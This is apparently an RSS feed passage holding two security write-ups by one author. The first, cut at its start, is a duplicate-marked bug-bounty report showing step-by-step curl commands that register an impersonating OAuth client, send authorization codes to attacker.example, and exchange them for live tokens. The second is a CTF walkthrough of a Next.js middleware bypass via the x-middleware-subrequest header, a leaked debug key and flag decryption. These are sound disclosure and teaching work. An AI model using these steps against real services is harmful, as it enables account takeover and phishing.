multiple arbitrary URIs in one request)</li><li>Give that app <strong>any name</strong>, including the provider’s own name</li><li>Point its <strong>logo</strong> at the provider’s own hosted logo asset</li></ul><p>Put together, that’s everything needed to build a pixel-perfect phishing flow that runs entirely on the real, TLS-valid, provider-owned domain — and silently ships a full read+write OAuth authorization code to an attacker-controlled server.</p><p>I built and ran the entire attack chain end-to-end against my own test account to prove it was real: registration → impersonated consent screen → intercepted authorization code → exchanged for a live access token → used that token to call the production API. This report was later marked as a <strong>duplicate</strong>, so someone else beat me to it — but I think the chain is worth documenting.</p><h3>Lets start</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*v6AyCeOTGnLjHa1q.gif" /></figure><h3>Background: how I found it</h3><p>I was looking at the OAuth architecture sitting behind this provider’s remote MCP servers (something like *.mcp.REDACTED.com). Hitting /mcp unauthenticated returned a WWW-Authenticate: Bearer header pointing at a .well-known/oauth-protected-resource metadata document. That document named the main web app&#39;s domain as the authorization server, so I pulled its metadata:</p><pre>curl -s https://cloud.REDACTED.com/.well-known/oauth-authorization-server</pre><pre>{<br>  &quot;issuer&quot;: &quot;https://cloud.REDACTED.com&quot;,<br>  &quot;authorization_endpoint&quot;: &quot;https://cloud.REDACTED.com/v1/oauth/authorize&quot;,<br>  &quot;token_endpoint&quot;: &quot;https://cloud.REDACTED.com/v1/oauth/token&quot;,<br>  &quot;registration_endpoint&quot;: &quot;https://cloud.REDACTED.com/v1/oauth/register&quot;,<br>  &quot;...&quot;<br>}</pre><p>A registration_endpoint is not unusual — DCR exists specifically so native/CLI OAuth clients (like an MCP CLI tool) can register themselves without a human filling out a developer console form. The problem is <em>what</em> it let you register.</p><h3>The vulnerability</h3><p>POST /v1/oauth/register required no authentication at all, and did essentially no validation on the fields that matter most for phishing resistance.</p><p><strong>Proof — registering a client impersonating the provider itself:</strong></p><p>bash</p><pre>curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;client_name&quot;: &quot;Cloud Provider X Security Verification&quot;,<br>    &quot;redirect_uris&quot;: [&quot;https://attacker.example/callback&quot;],<br>    &quot;token_endpoint_auth_method&quot;: &quot;none&quot;,<br>    &quot;grant_types&quot;: [&quot;authorization_code&quot;],<br>    &quot;response_types&quot;: [&quot;code&quot;],<br>    &quot;logo_uri&quot;: &quot;https://assets.REDACTED.com/logos/logo_icon_blue.svg&quot;<br>  }&#39;</pre><p>Response — <strong>HTTP 201</strong>, immediately, no review step:</p><pre>{<br>  &quot;client_id&quot;: &quot;&lt;CLIENT_ID_REDACTED&gt;&quot;,<br>  &quot;client_id_issued_at&quot;: 1783916739,<br>  &quot;redirect_uris&quot;: [&quot;https://attacker.example/callback&quot;],<br>  &quot;token_endpoint_auth_method&quot;: &quot;none&quot;,<br>  &quot;grant_types&quot;: [&quot;authorization_code&quot;, &quot;refresh_token&quot;],<br>  &quot;response_types&quot;: [&quot;code&quot;],<br>  &quot;client_name&quot;: &quot;Cloud Provider X Security Verification&quot;,<br>  &quot;registration_access_token&quot;: &quot;&lt;REG_ACCESS_TOKEN_REDACTED&gt;&quot;,<br>  &quot;registration_client_uri&quot;: &quot;https://cloud.REDACTED.com/v1/oauth/register/&lt;CLIENT_ID_REDACTED&gt;&quot;<br>}</pre><p>I confirmed the lack of constraints wasn’t a fluke — repeated registrations with plain http:// redirect URIs, and with multiple unrelated third-party domains in a single request, were all accepted with zero errors:</p><pre>curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;client_name&quot;:&quot;test-http&quot;,&quot;redirect_uris&quot;:[&quot;http://attacker.example/callback&quot;],&quot;token_endpoint_auth_method&quot;:&quot;none&quot;,&quot;grant_types&quot;:[&quot;authorization_code&quot;],&quot;response_types&quot;:[&quot;code&quot;]}&#39;<br># -&gt; 201, plain HTTP accepted verbatim</pre><pre>curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;client_name&quot;:&quot;test-multi&quot;,&quot;redirect_uris&quot;:[&quot;https://attacker2.example/cb&quot;,&quot;http://localhost:1234/cb&quot;],&quot;token_endpoint_auth_method&quot;:&quot;none&quot;,&quot;grant_types&quot;:[&quot;authorization_code&quot;],&quot;response_types&quot;:[&quot;code&quot;]}&#39;<br># -&gt; 201, no ownership/format restriction on either URI</pre><p>No allowlist, no ownership verification (e.g. a .well-known challenge on the target domain), no scheme restriction, and — as far as I could tell across several registrations — <strong>no rate limiting</strong> on the endpoint either.</p><h3>Building the phishing link</h3><p>With a registered client_id impersonating the provider, the attack link is just a standard OAuth authorize request:</p><pre>https://cloud.REDACTED.com/v1/oauth/authorize?client_id=&lt;CLIENT_ID_REDACTED&gt;&amp;redirect_uri=https%3A%2F%2Fattacker.example%2Fcallback&amp;response_type=code&amp;scope=read+write&amp;state=xyz</pre><p>Everything a victim would see is genuine:</p><ul><li>The domain in the address bar is the provider’s real domain, with a valid certificate.</li><li>The logo is hotlinked directly from the provider’s own asset host.</li><li>The application name reads as an official, trustworthy string.</li><li>The only attacker-controlled things are the app <em>name</em> and the requested <em>scope</em> — and the scope request (read write) looks exactly like what a legitimate integration would ask for.</li></ul><p>A single click on “Authorize” sends the victim’s browser to https://attacker.example/callback?code=&lt;AUTH_CODE&gt;&amp;state=xyz — full read+write authorization code, exfiltrated to a server the attacker controls.</p><h3>Full end-to-end POC</h3><p>To remove any doubt, I ran the entire chain against my own test account.</p><p><strong>1. Registered a fresh client:</strong></p><pre>curl -s -X POST https://cloud.REDACTED.com/v1/oauth/register \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;client_name&quot;:&quot;security-research-final-verify&quot;,&quot;redirect_uris&quot;:[&quot;https://&lt;attacker-controlled-domain&gt;/callback&quot;],&quot;token_endpoint_auth_method&quot;:&quot;none&quot;,&quot;grant_types&quot;:[&quot;authorization_code&quot;],&quot;response_types&quot;:[&quot;code&quot;]}&#39;</pre><pre>{&quot;client_id&quot;: &quot;&lt;CLIENT_ID_REDACTED_2&gt;&quot;, &quot;...&quot;}</pre><p><strong>2. Visited the authorize URL as the “victim” and saw the provider’s own, completely legitimate consent screen:</strong></p><pre>https://cloud.REDACTED.com/v1/oauth/authorize?client_id=&lt;CLIENT_ID_REDACTED_2&gt;&amp;redirect_uri=https%3A%2F%2F&lt;attacker-controlled-domain&gt;%2Fcallback&amp;response_type=code&amp;scope=read+write&amp;state=fasttest&amp;code_challenge=...&amp;code_challenge_method=S256</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLpq-JweLHME6H5Xk7kJ_A.png" /></figure><p><strong>3. Clicked “Authorize.”</strong> The raw request landed on my out-of-band listener, Referer confirming it genuinely came from the provider&#39;s domain:</p><pre>GET /callback?code=&lt;AUTH_CODE_REDACTED&gt;&amp;state=fasttest HTTP/2.0<br>Host: &lt;attacker-controlled-domain&gt;<br>Referer: https://cloud.REDACTD.com/<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/150.0.0.0 ...</pre><p><strong>4. Exchanged the intercepted code for a real access token:</strong></p><pre>curl -s -X POST https://cloud.REDACTED.com/v1/oauth/token \<br>  -d &quot;grant_type=authorization_code&amp;code=&lt;AUTH_CODE_REDACTED&gt;&amp;redirect_uri=https://&lt;attacker-controlled-domain&gt;/callback&amp;client_id=&lt;CLIENT_ID_REDACTED_2&gt;&amp;code_verifier=&lt;attacker&#39;s own PKCE verifier&gt;&quot;</pre><pre>{<br>  &quot;access_token&quot;: &quot;&lt;ACCESS_TOKEN_REDACTED&gt;&quot;,<br>  &quot;token_type&quot;: &quot;Bearer&quot;,<br>  &quot;expires_in&quot;: 3600,<br>  &quot;refresh_token&quot;: &quot;&lt;REFRESH_TOKEN_REDACTED&gt;&quot;,<br>  &quot;scope&quot;: &quot;read write&quot;,<br>  &quot;info&quot;: {<br>    &quot;name&quot;: &quot;&lt;REDACTED&gt;&quot;,<br>    &quot;email&quot;: &quot;&lt;REDACTED_EMAIL&gt;&quot;,<br>    &quot;uuid&quot;: &quot;&lt;REDACTED_UUID&gt;&quot;,<br>    &quot;team_uuid&quot;: &quot;&lt;REDACTED_TEAM_UUID&gt;&quot;,<br>    &quot;team_name&quot;: &quot;My Team&quot;<br>  }<br>}</pre><p>That refresh_token is the sting in the tail: it grants <strong>persistent</strong> access well beyond the one-hour access-token lifetime, renewable indefinitely until the victim notices and manually revokes it.</p><p><strong>5. Used the stolen token against the real, production API:</strong></p><pre>curl -s https://api.REDACTED.com/v2/account \<br>  -H &quot;Authorization: Bearer &lt;ACCESS_TOKEN_REDACTED&gt;&quot;</pre><pre>{&quot;account&quot;:{&quot;email&quot;:&quot;&lt;REDACTED_EMAIL&gt;&quot;,&quot;name&quot;:&quot;&lt;REDACTED&gt;&quot;,&quot;uuid&quot;:&quot;&lt;REDACTED_UUID&gt;&quot;,&quot;email_verified&quot;:true,&quot;team&quot;:{&quot;uuid&quot;:&quot;&lt;REDACTED_TEAM_UUID&gt;&quot;,&quot;name&quot;:&quot;My Team&quot;}, &quot;...&quot;}}</pre><p>Live, working, read+write+db_write API access — the same token could have created or destroyed compute instances, databases, DNS records, load balancers, and more. I stopped at a read-only call since that was sufficient proof.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Fu_SBpqm1jGyRTavYGZMgw.gif" /></figure><h3>Impact</h3><ul><li><strong>Full, verified account takeover</strong> for any user who authorizes the malicious client — read+write scope is equivalent to a full-permission personal access token across virtually every resource type the platform manages.</li><li><strong>Persistent access via the refresh token</strong> — doesn’t expire with the one-hour access token; silently renewable unless the victim manually revokes it.</li><li><strong>Zero privilege required to attack</strong> — registration needs no account on the platform at all.</li><li><strong>Extremely high believability</strong> — the URL, TLS certificate, and logo are all genuinely the provider’s; only the app name and requested scope are attacker-chosen, and the name itself can impersonate the provider.</li><li><strong>Scales trivially</strong> — one registered client works against unlimited victims via the same link, and an attacker can register many differently-branded clients to diversify lures (e.g. impersonating popular third-party integrations instead of the platform itself).</li></ul><h3>The End</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*SAukPRDSFC46xdgiA9cPrw.gif" /></figure><p><em>— </em><strong><em>0xlight</em></strong></p><p>Follow for more :<br>X : <a href="https://x.com/lightx0yagumi">Xaccount </a>— — Linked : <a href="https://www.linkedin.com/in/mohamed-sarhan-590b72279">account</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c2715a18561" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Exploit3rs CTF — The Debug Dilemma Writeup]]></title>
            <link>https://medium.com/@mohamedatefsarhan123/exploit3rs-ctf-the-debug-dilemma-writeup-db16816e4306?source=rss-25cced41232d------2</link>
            <guid isPermaLink="false">https://medium.com/p/db16816e4306</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0xlight]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 13:05:17 GMT</pubDate>
            <atom:updated>2026-02-01T13:05:17.431Z</atom:updated>
            <content:encoded><![CDATA[<h3>🏆 Exploit3rs CTF — <em>The Debug Dilemma</em> Writeup</h3><p>Middleware Abuse → Debug Leak → Crypto Fail → Flag</p><h3>Introduction</h3><p><strong>Welcome hackers, defenders, and curious minds.</strong><br> This is my <strong>first public CTF writeup</strong>, where I walk through my thought process, methodology, and exploitation path for a challenge from <strong>Exploit3rs CTF</strong>, which played a key role in securing <strong>1st place</strong> with my team.</p><p>I’m <strong>Mohamed Sarhan</strong>, also known as <strong>0xlight</strong> — a bug hunter, CTF player, and college student with a strong interest in real-world web exploitation and logic-based vulnerabilities.</p><p>This writeup covers a challenge called <strong>“The Debug Dilemma”</strong>, which at first glance looked trivial… and then absolutely refused to behave like one.</p><p>Lets start:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*kpn9yvXYlVf00JOZAzSkBQ.gif" /></figure><h3>Challenge Overview</h3><ul><li><strong>Challenge name:</strong> The Debug Dilemma</li><li><strong>Category:</strong> Web</li><li><strong>Core themes:</strong></li><li>Middleware logic flaws</li><li>Next.js misconfiguration</li><li>Debug endpoints exposure</li><li>Cryptographic misuse</li></ul><p>From the description and initial fingerprinting, the challenge hinted heavily at a <strong>React / Next.js</strong> environment with a known vulnerability theme: <strong>React2Shell</strong>.</p><h3>Initial Recon &amp; Fingerprinting</h3><p>Using basic recon and tools like <strong>Wappalyzer</strong>, the stack became clear:</p><ul><li><strong>Framework:</strong> Next.js</li><li><strong>Frontend:</strong> React</li><li><strong>Backend behavior:</strong> API-driven</li><li><strong>Security controls:</strong> Middleware-based access control</li></ul><p>At this stage, everything screamed:</p><blockquote>“Try React2Shell and pop a shell.”</blockquote><p>So naturally… that didn’t work.</p><h3>What Is React2Shell?</h3><p><strong>React2Shell</strong> is a vulnerability class where unsafe evaluation or server-side rendering logic in React/Next.js allows attackers to achieve remote code execution or privileged access.</p><p>It usually relies on:</p><ul><li>Debug modes</li><li>Unsafe dynamic imports</li><li>SSR misconfigurations</li><li>Weak middleware protections</li></ul><p>Public PoCs and CVEs exist — but <strong>blindly firing them here failed completely</strong>.</p><p>That’s the first lesson:</p><blockquote><em>If public exploits don’t work, stop exploiting and start thinking.</em></blockquote><h3>Middleware: The Real Gatekeeper</h3><p>After multiple failed attempts, I shifted focus from exploitation to <strong>request flow analysis</strong>.</p><h3>Key Observation</h3><ul><li>/dashboard existed</li><li>/login existed</li><li>Accessing /dashboard always redirected or blocked</li><li>No obvious auth bypass</li><li>No reflected errors</li></ul><p>This strongly suggested <strong>middleware-enforced access control</strong>.</p><h3>What Is Middleware (in Next.js)?</h3><p>In Next.js, <strong>middleware</strong> runs <em>before</em> a request reaches the page or API route.<br> It’s commonly used for:</p><ul><li>Authentication</li><li>Authorization</li><li>Request filtering</li><li>Redirection</li></ul><p>If middleware is flawed, <strong>everything behind it collapses</strong>.</p><h3>The Breakthrough: Corrupting Middleware Logic</h3><p>After a lot of trial, reading, and digging, I landed on this blog post:</p><blockquote>🔗 <a href="https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware">https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware</a></blockquote><p>This article explains how <strong>Next.js middleware can be tricked</strong> using a specific header:</p><pre>x-middleware-subrequest</pre><h3>Payload That Worked</h3><pre>x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware</pre><p>This header essentially <strong>confuses the middleware execution chain</strong>, causing it to:</p><ul><li>Skip execution</li><li>Mis-handle authorization logic</li><li>Allow unauthorized access</li></ul><h3>Result: Middleware Bypassed 🎯</h3><p>With the header added, I accessed:</p><pre>/dashboard</pre><p>And suddenly… <strong>I was in</strong>.</p><p>No authentication.<br> No session.<br> No token.</p><p>Classic middleware failure.</p><h3>Sensitive Data Exposure</h3><p>Inside the admin dashboard, I found what looked like an <strong>API key</strong>:</p><pre>9Ex+tKYICNzNaGRX6vrFvMh6FYl4RW0UkdZHm+wHGnZ4yhoeofo2Di9T/mYy8LXbDID/CoiYcMcdr4I4QWZ93Q==</pre><p>At first glance:</p><ul><li>Looks like Base64</li><li>Decodes to garbage</li></ul><p>So clearly… <strong>not plain Base64</strong>.</p><h3>The Hint Was in the Name: Debug Dilemma</h3><p>At this point, I re-read the challenge name.</p><blockquote><strong><em>Debug.</em></strong></blockquote><p>So I did what any reasonable person would do:<br> <strong>Directory fuzzing.</strong></p><p>Using <strong>FFUF</strong>, I discovered:</p><pre>/api/debug</pre><h3>Jackpot: Debug Endpoint Leakage 💥</h3><p>Requesting /api/debug returned:</p><pre>{<br>  &quot;status&quot;: &quot;debug_enabled&quot;,<br>  &quot;environment&quot;: &quot;production&quot;,<br>  &quot;timestamp&quot;: &quot;2026-01-31T11:35:41.101Z&quot;,<br>  &quot;config&quot;: {<br>    &quot;encryption_key&quot;: &quot;a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6&quot;,<br>    &quot;iv&quot;: &quot;1234567890abcdef&quot;,<br>    &quot;algorithm&quot;: &quot;aes-256-cbc&quot;<br>  },<br>  &quot;message&quot;: &quot;Debug endpoint active — remember to disable before production!&quot;,<br>  &quot;warning&quot;: &quot;This endpoint exposes sensitive cryptographic material&quot;<br>}</pre><p>Let’s pause here.</p><p>This is <strong>every security engineer’s nightmare</strong>:</p><ul><li>Debug enabled in production</li><li>Encryption key leaked</li><li>IV leaked</li><li>Algorithm disclosed</li></ul><p>At this point, encryption becomes <strong>security theater</strong>.</p><h3>Decrypting the Vault Key</h3><p>Now we had:</p><ul><li>Ciphertext (from the dashboard)</li><li>AES-256-CBC</li><li>Key</li><li>IV</li></ul><p>So I used <a href="https://gchq.github.io/CyberChef/">CyberChef</a> for this mission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*toWS6ohVA4iw4xiFV6HesQ.png" /></figure><h3>Steps</h3><ol><li>Input the Base64 string</li><li>Decode Base64</li><li>AES-256-CBC decrypt</li><li>Use leaked key and IV</li></ol><p>And<strong> Bam </strong>We got the<strong> Flag</strong> 🔥🎇</p><pre>Exploit3rs{m1ddl3w4r3_byp4ss_ch41n3d_t0_d3bug_l34k}</pre><p>This challenge perfectly demonstrates how <strong>real-world vulnerabilities happen</strong>:<br> not from exotic exploits, but from <strong>logic flaws, misconfigurations, and human assumptions</strong>.</p><p>As my <strong>first CTF writeup</strong>, I wanted it to reflect not just <em>what</em> worked — but <em>why</em> it worked.</p><p>More writeups coming and hope you enjoy reading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*u4dgrGy8ialz9Umjdj91rA.gif" /></figure><p><em>— </em><strong><em>0xlight</em></strong></p><p>Follow for more :<br>X : <a href="https://x.com/lightx0yagumi">Xaccount </a>— — Linked : <a href="https://www.linkedin.com/in/mohamed-sarhan-590b72279">account</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db16816e4306" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>